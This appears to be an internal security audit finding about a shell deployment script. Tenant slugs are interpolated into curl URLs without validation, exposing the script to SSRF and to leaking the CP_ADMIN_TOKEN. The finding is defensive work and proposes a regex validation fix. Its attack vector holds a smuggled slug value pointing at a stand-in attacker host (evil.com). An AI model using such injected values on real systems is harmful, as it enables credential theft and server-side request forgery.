Audit #102 | Scope: 86925bee..ff8baa69 (commits #925, #917, #672)


Finding: OFFSEC-006 — Tenant Slug SSRF + Token Exfiltration

Severity: HIGH
File: scripts/promote-tenant-image.sh
PR: #672 (merged at e98c2812)


Description

promote-tenant-image.sh accepts --tenants slug1,slug2,... with no validation. The slug is interpolated directly into URLs:

curl ... "$CP_BASE/cp/admin/tenants/$slug/redeploy"   # Bearer token
curl ... "https://${slug}.moleculesai.app/buildinfo"  # SSRF
curl ... "https://${slug}.moleculesai.app/health"      # SSRF

Slug is split only by IFS=, — no regex validation.

Attack Vector

A contributor with maintainer access can invoke with --tenants "a?url=https://evil.com". Curl URL parser interprets ? as query separator. With redirect following, Authorization: Bearer $CP_ADMIN_TOKEN is sent to attacker-controlled host.

Impact

  • Token exfiltration of CP_ADMIN_TOKEN via HTTP redirect
  • SSRF via controlled subdomain interpolation

Required Fix

Add slug validation before interpolation:

validate_slug() {
  local slug="$1"
  if [[ ! "$slug" =~ ^[a-z0-9][a-z0-9-]{0,62}[a-z0-9]$ ]]; then
    err "invalid slug: $slug"; return 1
  fi
}

Call validate_slug "$slug" before each network call.

@core-devops — OFFSEC-006 (HIGH): tenant slug has no validation in scripts/promote-tenant-image.sh. Slug interpolated directly into HTTP URLs without sanitization — SSRF + token exfiltration risk via ?url= query injection. Issue #929 has full finding + required fix (validate_slug regex). Please take.

Assigned to core-devops for fix. Root cause confirmed: slug interpolated into URLs with no regex validation. Fix: add slug format validation (alphanumeric + hyphens only) before URL construction.
